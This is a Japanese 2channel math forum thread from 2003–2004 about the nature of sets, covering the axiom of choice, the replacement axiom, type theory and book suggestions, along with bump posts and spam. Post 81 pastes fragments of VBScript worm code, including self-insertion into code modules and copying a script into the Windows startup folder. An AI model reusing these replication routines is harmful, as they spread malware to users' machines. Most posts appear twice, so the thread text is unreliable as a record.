集合の本質とは何か
37 ：ζ関数：03/06/30 15:37
集合とは，ある条件を満たすものを
すべてとってくることのできる"道具"である．
しかし，その条件を満たすものが"存在するかどうか"は
"手動で"示さなければならない．
また，その"手動"で行う動作は(普通は)有限回でないといけない．
ゆえに，選択公理は証明できない．
逆に選択公理を仮定すると，選択公理という道具で，
手動では無限回行わなければならない動作も，一発で終了する．
すべてとってくることのできる"道具"である．
しかし，その条件を満たすものが"存在するかどうか"は
"手動で"示さなければならない．
また，その"手動"で行う動作は(普通は)有限回でないといけない．
ゆえに，選択公理は証明できない．
逆に選択公理を仮定すると，選択公理という道具で，
手動では無限回行わなければならない動作も，一発で終了する．
38 ：supermathmania ◆ViEu89Okng ：03/06/30 15:47
置換公理
(∀x∀y∀z((f(x,y)かつf(x,z))⇒y=z)⇒(∀u∃v∀y(y\in v⇔(∃x\in u,f(x,y))))
の解釈を説明してください。(どこかのスレでスレ違いと云われた。)
(∀x∀y∀z((f(x,y)かつf(x,z))⇒y=z)⇒(∀u∃v∀y(y\in v⇔(∃x\in u,f(x,y))))
の解釈を説明してください。(どこかのスレでスレ違いと云われた。)
39 ：１３２人目の素数さん：03/06/30 18:33
>>38
「(f(x,y)かつf(x,z))⇒y=z)」 は f(x,y) という述語により、
x について y があるときは一意であることをいっている。つまり
f(x,y) がいわゆるクラス型の部分関数を定めているということ。
「(∀u∃v∀y(y\in v⇔(∃x\in u,f(x,y)))」はその部分関数に
ついての値域が集合 v となっていることを主張している。
(注意：通常数学のなかでとり扱われる関数は定義域が集合と
なっているので、この公理より弱い分離公理(部分集合公理とも
いう)ですむことが多い。)
「(f(x,y)かつf(x,z))⇒y=z)」 は f(x,y) という述語により、
x について y があるときは一意であることをいっている。つまり
f(x,y) がいわゆるクラス型の部分関数を定めているということ。
「(∀u∃v∀y(y\in v⇔(∃x\in u,f(x,y)))」はその部分関数に
ついての値域が集合 v となっていることを主張している。
(注意：通常数学のなかでとり扱われる関数は定義域が集合と
なっているので、この公理より弱い分離公理(部分集合公理とも
いう)ですむことが多い。)
その部分関数の u への制限関数の値域が集合 v となっていること
を主張している。
に訂正。まっ、わかるでしょうが。
を主張している。
に訂正。まっ、わかるでしょうが。
41 ：supermathmania ◆ViEu89Okng ：03/06/30 18:43
Re:>39,Re:>40
どうもありがとうございます。
どこを調べてもまともな説明がなかったもので。
どうもありがとうございます。
どこを調べてもまともな説明がなかったもので。
42 ：１３２人目の素数さん：03/07/01 10:37
> どこを調べてもまともな説明がなかったもので。
不用意にそういうこと言うから、変な具合いに突っ込みが入って、
挙げ足をとられまくった挙げ句に「士ね」とかいわれちゃうんだよ。
「まともでないのは、説明の方ではなくて、それぐらいも
理解できないお前の頭の方だろが！！！」
とかさ。
不用意にそういうこと言うから、変な具合いに突っ込みが入って、
挙げ足をとられまくった挙げ句に「士ね」とかいわれちゃうんだよ。
「まともでないのは、説明の方ではなくて、それぐらいも
理解できないお前の頭の方だろが！！！」
とかさ。
43 ：１３２人目の素数さん：03/07/04 12:36
カントールの三角級数および実数列に関係する問題の研究は、
彼に数の無限集合の大きさを比較する手段の必要を認識させました。
彼に数の無限集合の大きさを比較する手段の必要を認識させました。
44 ：１３２人目の素数さん：03/07/21 11:01
23
45 ：１３２人目の素数さん：03/07/21 11:54
＜「本当のやさしさ」と「見せ掛けのやさしさ」＞
「やさしさ」を勘違いするなよ。
「本当のやさしさ」というのは、相手の立場にたって相手を思いやることをいう。
「Ａ型流のやさしさ」は、臆病のあまり、自分がどう思われるかを繕うだけの「見せ掛けのやさしさ」に過ぎない。
Ａ型の人は勘違いしないように！
また周囲も騙されないように！
「やさしさ」を勘違いするなよ。
「本当のやさしさ」というのは、相手の立場にたって相手を思いやることをいう。
「Ａ型流のやさしさ」は、臆病のあまり、自分がどう思われるかを繕うだけの「見せ掛けのやさしさ」に過ぎない。
Ａ型の人は勘違いしないように！
また周囲も騙されないように！
47 ：１３２人目の素数さん：03/07/24 11:21
世の中はそんなに難しくない。
食べられるものと食べられないものしか存在しない。
それが集合であり集合の極みなのである
食べられるものと食べられないものしか存在しない。
それが集合であり集合の極みなのである
48 ：１３２人目の素数さん：03/07/25 07:10
あつめても集合になるものとならないものがあるということですか？
集合にならないものの集まりは集合ではないのですか？
集合になるものの集合の補集合は集合ではないのですか？
集合にならないものの集まりは集合ではないのですか？
集合になるものの集合の補集合は集合ではないのですか？
49 ：１３２人目の素数さん：03/07/30 17:34
50 ：ぼるじょあ ◆yBEncckFOU ：03/08/02 03:27
∧＿∧ ∧＿∧
ﾋﾟｭ.ｰ （ ・３・） ( ＾＾ ） ＜これからも僕たちを応援して下さいね（＾＾）。
＝〔~∪￣￣￣∪￣￣〕
＝ ◎――――――◎ 山崎渉&ぼるじょあ
ﾋﾟｭ.ｰ （ ・３・） ( ＾＾ ） ＜これからも僕たちを応援して下さいね（＾＾）。
＝〔~∪￣￣￣∪￣￣〕
＝ ◎――――――◎ 山崎渉&ぼるじょあ
51 ：１３２人目の素数さん：03/08/16 06:14
10
52 ：１３２人目の素数さん：03/08/16 06:18
10
あぼーん
54 ：>>２ちゃんねらーの皆さん ：03/08/16 06:55
２ちゃんねらーなどの間で、人気のある御尊像が有ります。
これらの御尊像を手に入れて、金運向上等を祈願しましょう。(爆)
http://www.butsuzou.com/jiten/sanmen.html
http://www.butsuzou.com/list1/sanmen2.html
http://www.butsuzou.com/list1/sanmen3.html
http://www.butsuzou.com/keitai/sanmen-kz.html
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55 ：１３２人目の素数さん：03/09/29 05:19
3
56 ：１３２人目の素数さん：03/10/29 05:37
19
57 ：１３２人目の素数さん：03/11/11 07:28
2
58 ：１３２人目の素数さん：03/12/03 17:32
i
59 ：１３２人目の素数さん：03/12/03 18:27
i
60 ：１３２人目の素数さん：03/12/12 17:49
ﾋﾞﾝﾋﾞﾝﾏｯﾁｮﾃﾞ(ﾟдﾟ)ｵｰｴｰｵｰｴｰ
61 ：１３２人目の素数さん：03/12/16 13:21
集合論を本格的に勉強するにはやっぱりこの本ですか？
Set Theory by Thomas J. Jech
http://www.amazon.com/exec/obidos/ASIN/3540440852/
Set Theory by Thomas J. Jech
http://www.amazon.com/exec/obidos/ASIN/3540440852/
62 ：１３２人目の素数さん：03/12/17 23:09
>>61
ええ。一通り書いてありますから、永く楽しめますよ。
ええ。一通り書いてありますから、永く楽しめますよ。
63 ：１３２人目の素数さん：04/01/05 06:48
5
64 ：１３２人目の素数さん：04/01/12 20:49
なにかください
65 ：１３２人目の素数さん：04/01/12 20:56
集合自身を要素として扱わなければ、矛盾はない。
66 ：１３２人目の素数さん：04/01/12 20:58
実数を数の集合であるとした時点で、非加算無限が論理を犯していく。
67 ：１３２人目の素数さん：04/01/12 20:59
＞非加算無限
意味がわかりません。
意味がわかりません。
68 ：１３２人目の素数さん：04/01/12 20:59
非加算ってなにを足さないって言ってんの？
69 ：１３２人目の素数さん：04/01/12 21:02
70 ：supermathmania ◆ViEu89Okng ：04/01/17 13:18
Re:>65 ZFの正則性公理を参照。
71 ：１３２人目の素数さん：04/01/31 05:34
547
72 ：１３２人目の素数さん：04/02/05 10:42
>>1
集合の本質なんて考えれば考えるほど分らなくなる。カントルも
最初は1と同じ程度の認識しかなかった。今の集合論専門の学者は
みんな集合の本質なんて考えないようにしてるし、公理的集合論に
対する一般の数学者の不信も根源的にはここから来ていると思う。
しかも面白いのは、哲学者は哲学者で、集合の本質は数学者が
明らかにしてくれた、位に思っているところ。
Russellの型理論でやれば多分なにも問題はないんだけどね。
もう廃れちゃってるし……
>>61
たぶんK.Kunenの方が読みやすいかと。竹内外史のブルーバックス
も結構良いよ。
集合の本質なんて考えれば考えるほど分らなくなる。カントルも
最初は1と同じ程度の認識しかなかった。今の集合論専門の学者は
みんな集合の本質なんて考えないようにしてるし、公理的集合論に
対する一般の数学者の不信も根源的にはここから来ていると思う。
しかも面白いのは、哲学者は哲学者で、集合の本質は数学者が
明らかにしてくれた、位に思っているところ。
Russellの型理論でやれば多分なにも問題はないんだけどね。
もう廃れちゃってるし……
>>61
たぶんK.Kunenの方が読みやすいかと。竹内外史のブルーバックス
も結構良いよ。
73 ：１３２人目の素数さん：04/02/11 12:42
実数全体を集合と扱うことに物凄く違和感を感じた。
74 ：１３２人目の素数さん：04/02/11 13:50
>今の集合論専門の学者は
>みんな集合の本質なんて考えないようにしてるし、公理的集合論に
>対する一般の数学者の不信も根源的にはここから来ていると思う。
不信感をもっていても別にいいんじゃないかな。
どっちにしても、数学のやり方に言語学や言語哲学が従う流れは止められない。
概念に対する素朴な実在を問うようなやり方は今時学問とは呼ばない。
>哲学者は哲学者で、集合の本質は数学者が
>明らかにしてくれた、位に思っているところ。
哲学でもイデアや唯名論とかいうテーマでずっと昔からやってたわけだけど
結局議論のフレームが定まらないから一向に結論が出ない。
であるならば、その方面の流れは一方で認めつつ、数学から出てきた
成果をそのまま引き継ぐのもありだろうっていうことなんじゃないかな。
>みんな集合の本質なんて考えないようにしてるし、公理的集合論に
>対する一般の数学者の不信も根源的にはここから来ていると思う。
不信感をもっていても別にいいんじゃないかな。
どっちにしても、数学のやり方に言語学や言語哲学が従う流れは止められない。
概念に対する素朴な実在を問うようなやり方は今時学問とは呼ばない。
>哲学者は哲学者で、集合の本質は数学者が
>明らかにしてくれた、位に思っているところ。
哲学でもイデアや唯名論とかいうテーマでずっと昔からやってたわけだけど
結局議論のフレームが定まらないから一向に結論が出ない。
であるならば、その方面の流れは一方で認めつつ、数学から出てきた
成果をそのまま引き継ぐのもありだろうっていうことなんじゃないかな。
75 ：１３２人目の素数さん：04/02/28 00:59
>>Russellの型理論でやれば
タイプの理論じゃ解析学は展開できないみたいだね。
こりゃ駄目だ
タイプの理論じゃ解析学は展開できないみたいだね。
こりゃ駄目だ
76 ：１３２人目の素数さん：04/03/03 17:27
解析は解析で都合のいいように集合の基礎付けをすればいいんじゃないの？
77 ：１３２人目の素数さん：04/03/07 13:23
795
78 ：61.10.112.219.ap.yournet.ne.jp：04/03/27 22:22
1
79 ：sage test 2：04/03/28 15:58
集合の本質とは何かと問われても結局良く分からないが、
公理的集合論においては、少なくとも集合(sets)の数学的な意味は明らかである。
(いや、明らかであるというのは少し語弊があるか？
公理系をZにするか、ZFにするか、ZFCにするかを明示すれば問題はなかろう。)
しかし、集合論の創始者と云われるゲオルグカントルは、
初めから公理的集合論を考えていたわけではない。
少なくとも、集合の本質は、ZFC公理系の中には無いということが示されているのではなかろうか？
どちらにせよ、集合の本質とは何か、と訊かれても私は困る。
公理的集合論においては、少なくとも集合(sets)の数学的な意味は明らかである。
(いや、明らかであるというのは少し語弊があるか？
公理系をZにするか、ZFにするか、ZFCにするかを明示すれば問題はなかろう。)
しかし、集合論の創始者と云われるゲオルグカントルは、
初めから公理的集合論を考えていたわけではない。
少なくとも、集合の本質は、ZFC公理系の中には無いということが示されているのではなかろうか？
どちらにせよ、集合の本質とは何か、と訊かれても私は困る。
80 ：１３２人目の素数さん：04/03/31 13:41
81 ：１３２人目の素数さん：04/04/01 02:13
GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
VBSInternal
cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
VBS Freelink.B
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
82 ：１３２人目の素数さん：04/04/02 09:47
ほしゅったらageろ！
83 ：KingMathematician ◆5lHaaEvFNc ：04/04/02 13:48
またスクリプトか。
84 ：１３２人目の素数さん：04/04/02 13:54
マスマニアスクリプトに比べたらマシですだ。
85 ：１３２人目の素数さん：04/04/25 18:32
633
86 ：１３２人目の素数さん：
685